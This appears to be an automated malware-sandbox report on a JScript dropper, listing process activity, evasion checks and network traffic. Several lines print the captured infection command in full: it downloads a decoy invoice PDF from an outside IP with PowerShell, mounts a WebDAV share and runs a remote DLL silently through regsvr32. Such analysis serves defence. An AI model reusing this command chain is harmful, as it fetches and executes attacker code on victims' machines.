Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8186.js.csv");ITextStream.WriteLine(" entry:8158 f:krbsfzxn");ITextStream.WriteLine(" exec:2 f:krbsfzxn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49743

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4726			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5120			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 4726 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 5120 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1456	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7576	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000002.1391336260.000002C3511E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2571478790.0000020C79256000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000008.00000002.1391336260.000002C3511E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG
Source: net.exe, 00000008.00000002.1391336260.000002C351188000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.2570246103.0000020C73A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
